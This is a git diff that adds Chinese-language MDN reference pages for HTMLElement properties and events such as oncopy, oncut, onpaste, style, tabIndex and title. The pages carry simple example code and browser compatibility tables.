+ + diff --git a/files/zh-cn/web/api/htmlelement/oncopy/index.html b/files/zh-cn/web/api/htmlelement/oncopy/index.html new file mode 100644 index 0000000000..12ff84d885 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/oncopy/index.html @@ -0,0 +1,44 @@ +--- +title: element.oncopy +slug: Web/API/HTMLElement/oncopy +translation_of: Web/API/HTMLElement/oncopy +--- +

{{ Fx_minversion_header("3") }} {{ ApiRef() }}

+

概述

+

oncopy属性用来获取或设置当前元素的copy事件的事件处理函数.

+

语法

+
element.oncopy = functionRef;
+
+

functionRef 是一个函数名或者函数表达式.

+

例子

+
<html>
+<head>
+<title>oncopy示例演示</title>
+
+<script>
+  function log(txt)
+  {
+    document.getElementById("log").appendChild(document.createTextNode(txt + "\n"));
+  }
+</script>
+</head>
+
+<body>
+<div oncopy="log('复制被阻止!'); return false;">试着复制这句话!</div>
+
+<h3>Log</h3>
+<textarea rows="15" cols="80" id="log" readonly="true"></textarea>
+</body>
+</html>
+
+

上例演示了如何禁止复制浏览器中的一段话.

+

备注

+

当用户尝试复制选中元素或文本时会触发copy事件.

+

规范

+

不属于任何公开的规范.

+

相关链接

+ +

{{ languages( { "ja": "ja/DOM/element.oncopy", "en": "en/DOM/element.oncopy" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/oncut/index.html b/files/zh-cn/web/api/htmlelement/oncut/index.html new file mode 100644 index 0000000000..e8d5c9c7ee --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/oncut/index.html @@ -0,0 +1,46 @@ +--- +title: element.oncut +slug: Web/API/HTMLElement/oncut +translation_of: Web/API/HTMLElement/oncut +--- +

{{ Fx_minversion_header("3") }} {{ ApiRef() }}

+

概述

+

oncut属性用来获取或设置当前元素的cut事件的事件处理函数.

+

语法

+
element.oncut = functionRef;
+
+

functionRef 是一个函数名或者函数表达式.

+

例子

+
<html>
+<head>
+<title>oncut示例演示</title>
+
+<script>
+  function log(txt)
+  {
+    document.getElementById("log").appendChild(document.createTextNode(txt + "\n"));
+  }
+</script>
+</head>
+
+<body>
+<h3>按说明进行操作!</h3>
+<textarea rows="3" cols="80" oncopy="log('复制成功!');" oncut="log('剪切被阻止!'); return false;">
+  尝试剪切和复制该文本域内的文本!
+</textarea>
+<h3>Log</h3>
+<textarea rows="15" cols="80" id="log" readonly="true"></textarea>
+</body>
+</html>
+
+

上例演示了如何允许复制一个文本域内的文本,但禁止剪切那些文本.并把每次操作结果打印出来.

+

备注

+

当用户尝试剪切选中元素或文本时会触发cut事件.

+

规范

+

不属于任何公开的规范.

+

相关链接

+ +

{{ languages( { "ja": "ja/DOM/element.oncut" ,"en": "en/DOM/element.oncut" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/onpaste/index.html b/files/zh-cn/web/api/htmlelement/onpaste/index.html new file mode 100644 index 0000000000..f180eaa91c --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/onpaste/index.html @@ -0,0 +1,57 @@ +--- +title: element.onpaste +slug: Web/API/HTMLElement/onpaste +translation_of: Web/API/HTMLElement/onpaste +--- +

{{ Fx_minversion_header("3") }} {{ ApiRef() }}

+

概述

+

onpaste 属性用来获取或设置当前元素的paste事件的事件处理函数.

+

语法

+
element.onpaste = functionRef;
+
+

functionRef 是一个函数名或者函数表达式.

+

例子

+
<html>
+<head>
+<title>onpaste示例演示</title>
+</head>
+
+<body>
+<h3>按说明进行操作!</h3>
+<textarea id="editor" rows="3" cols="80">
+尝试在这里粘贴文本!
+</textarea>
+
+<script type="text/javascript">
+  function log(txt)
+  {
+    document.getElementById("log").appendChild(document.createTextNode(txt + "\n"));
+  }
+
+  function pasteIntercept(evt)
+  {
+        evt.preventDefault();
+  	log("粘贴被阻止");
+  }
+
+  document.getElementById("editor").addEventListener("paste", pasteIntercept, false);
+</script>
+
+<h3>Log</h3>
+<textarea rows="15" cols="80" id="log" readonly="true"></textarea>
+</body>
+</html>
+
+

上例演示了如何禁止向一个文本域内粘贴文本.

+

备注

+

当用户尝试粘贴文本时会触发paste事件.

+

规范

+

不属于任何公开的规范.

+

备注

+

没有任何DOM方法可以使用来获取将要粘贴的剪切板中的文字,你可以使用XPCOM接口{{ Interface("nsIClipboard") }}来进行这样的操作.

+

相关链接

+ +

{{ languages( {"ja": "ja/DOM/element.onpaste" ,"en": "en/DOM/element.onpaste" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/outertext/index.html b/files/zh-cn/web/api/htmlelement/outertext/index.html new file mode 100644 index 0000000000..523ce9fc38 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/outertext/index.html @@ -0,0 +1,87 @@ +--- +title: HTMLElement.outerText +slug: Web/API/HTMLElement/outerText +tags: + - HTMLElement.outerText +translation_of: Web/API/HTMLElement/outerText +--- +
{{APIRef("DOM")}}
+ +

{{ Non-standard_header() }}

+ +

概要

+ +

HTMLElement.outerText是一个非标准的属性。作为一个获得器，它返回与{{domxref("Node.innerText")}}一致的值。 作为一个设置器，它将删除当前节点并将其替换为给定的文本。

+ +

范例

+ +

查看StackOverflow上的回答.

+ +

规范

+ +

不属于任何规范。关于标准规范的讨论:whatwg/html#668。

+ +

微软 在MSDN有一篇描述。

+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlelement/pointercancel_event/index.html b/files/zh-cn/web/api/htmlelement/pointercancel_event/index.html new file mode 100644 index 0000000000..620ce654d3 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/pointercancel_event/index.html @@ -0,0 +1,101 @@ +--- +title: 'HTMLElement: pointercancel event' +slug: Web/API/HTMLElement/pointercancel_event +translation_of: Web/API/HTMLElement/pointercancel_event +--- +
{{APIRef}}
+ +

当浏览器认为不再会有更多的指针事件, 或者在 {{event("pointerdown")}} 事件触发之后用户滚动或者缩放窗口，pointercancel 事件被触发。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{domxref("PointerEvent")}}
Event handler propertyonpointercancel
+ +

常见需要 pointercancel 事件的地方：

+ + + +
+

在 pointercancel 事件触发后，浏览器会按顺序发送 {{event("pointerout")}} 以及 {{event("pointerleave")}}。

+
+ +

示例

+ +

使用 addEventListener():

+ +
const para = document.querySelector('p');
+
+para.addEventListener('pointercancel', (event) => {
+  console.log('Pointer event cancelled');
+});
+ +

使用 onpointercancel 事件句柄属性:

+ +
const para = document.querySelector('p');
+
+para.onpointercancel = (event) => {
+  console.log('Pointer event cancelled');
+};
+ +

Specifications

+ + + + + + + + + + + + +
SpecificationStatus
{{SpecName('Pointer Events', '#the-pointercancel-event')}}{{Spec2('Pointer Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.pointercancel_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlelement/style/index.html b/files/zh-cn/web/api/htmlelement/style/index.html new file mode 100644 index 0000000000..2b825c80cc --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/style/index.html @@ -0,0 +1,80 @@ +--- +title: HTMLElement.style +slug: Web/API/HTMLElement/style +translation_of: Web/API/ElementCSSInlineStyle/style +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.style 属性返回一个 CSSStyleDeclaration 对象，表示元素的 内联style 属性（attribute），但忽略任何样式表应用的属性。 通过 style 可以访问的 CSS 属性列表，可以查看 CSS Properties Reference。

+ +

由于 style 属性的优先级和通过style设置内联样式是一样的，并且在css层级样式中拥有最高优先级，因此在为特定的元素设置样式时很有用。

+ +

设置 style 属性

+ +

注意不能通过直接给style属性设置字符串（如：elt.style = "color: blue;"）来设置style，因为style应被当成是只读的（尽管Firefox(Gecko), Chrome 和 Opera允许修改它），这是因为通过style属性返回的CSSStyleDeclaration对象是只读的。但是style属性本身的属性能够用来设置样式。此外，通过单独的样式属性（如elt.style.color = '...'）比用elt.style.cssText = '...' 或者 elt.setAttribute('style', '...')形式更加简便，除非你希望完全通过一个单独语句来设置元素的全部样式，因为通过style本身属性设置的样式不会影响到通过其他方式设置的其他css属性的样式。

+ +

例子

+ +
// 在单个语句中设置多个样式
+elt.style.cssText = "color: blue; border: 1px solid black";
+// 或者
+elt.setAttribute("style", "color:red; border: 1px solid blue;");
+
+// 设置特定样式，同时保持其他内联样式值不变
+elt.style.color = "blue";
+
+ +

获取元素样式信息

+ +

通常，要了解元素样式的信息，仅仅使用 style 属性是不够的，这是因为它只包含了在元素内嵌 style 属性（attribute）上声明的的 CSS 属性，而不包括来自其他地方声明的样式，如 {{HTMLElement("head")}} 部分的内嵌样式表，或外部样式表。要获取一个元素的所有 CSS 属性，你应该使用 {{domxref("window.getComputedStyle()")}}。

+ +
<!DOCTYPE HTML>
+<html>
+<body style="font-weight:bold;">
+
+    <div style="color:red" id="myElement">..</div>
+
+ </body>
+</html>
+ +

下面的代码输出 style 所有属性的名字，以及为元素 elt 显式设置的属性值和继承的计算值（computed value）：

+ +
var element = document.getElementById("myElement");
+var out = "";
+var elementStyle = element.style;
+var computedStyle = window.getComputedStyle(element, null);
+
+for (prop in elementStyle) {
+  if (elementStyle.hasOwnProperty(prop)) {
+    out += "  " + prop + " = '" + elementStyle[prop] + "' > '" + computedStyle[prop] + "'\n";
+  }
+}
+console.log(out)
+ +

输出结果如下:

+ +
...
+fontWeight = '' > 'bold'
+color = 'red' > 'rgb(255, 0, 0)'
+...
+
+ +

请注意，计算样式中font-weight的值为“bold”，元素的style属性中缺少该值

+ +

规范

+ +

DOM Level 2 Style: ElementCSSInlineStyle.style

+ +

CSSOM: ElementCSSInlineStyle

+ +

兼容性

+ + + +

{{Compat("api.HTMLElement.style")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlelement/tabindex/index.html b/files/zh-cn/web/api/htmlelement/tabindex/index.html new file mode 100644 index 0000000000..516c659c2a --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/tabindex/index.html @@ -0,0 +1,49 @@ +--- +title: HTMLElement.tabIndex +slug: Web/API/HTMLElement/tabIndex +translation_of: Web/API/HTMLOrForeignElement/tabIndex +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

概述

+ +

获取或设置当前元素的tab键激活顺序.

+ +

语法

+ +
element.tabIndex = index index = element.tabIndex
+
+ +

参数

+ + + +

Tab键的遍历顺序是这样的：

+ +
    +
  1. 对于tabIndex值为正数的元素，如果多个元素的tabIndex值相同，则以他们出现在字符流中的次序来遍历；否则按tabIndex值由小到大的顺序来遍历。
    2. +
  2. 对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素，按照他们出现在字符流中的次序来遍历。
    3. +
  3. 处于不可用状态的元素不会被遍历到。
    4. +
+ +

支持tabIndex属性的元素有：a,area,button,input,object,select和textarea。

+ +

tabIndex的值不需要是连续的，也不需要以某个特定值开始。

+ +

例子

+ +
var b1 = document.getElementById("button1");
+b1.tabIndex = 1;
+
+ +

规范

+ +

W3C DOM Level 2 HTML tabIndex

+ +

了解更多,请查看: The solution: changes to standard behavior of tabindex

+ +

{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/title/index.html b/files/zh-cn/web/api/htmlelement/title/index.html new file mode 100644 index 0000000000..340c56ef74 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/title/index.html @@ -0,0 +1,76 @@ +--- +title: HTMLElement.title +slug: Web/API/HTMLElement/title +translation_of: Web/API/HTMLElement/title +--- +

{{ APIRef() }}

+ +

HTMLElement.title 属性表示元素的 title。当鼠标移到节点上时，会以“工具提示”（tool tip）的弹出形式显示该属性的属性值文本。

+ +

如果一个节点没有 title 属性（attribute），默认继承其父节点的相应属性，父节点可能是从父节点的父节点继承，依此类推。

+ +

语法

+ +
var string = element.title;
+element.title = string;
+
+ +

例子

+ +
const link = document.createElement('a');
+link.innerText = '葡萄';
+link.href = 'https://en.wikipedia.org/wiki/Grape';
+link.title = '维基百科上对葡萄的描述';
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}
+
-- cgit v1.2.3-54-g00ecf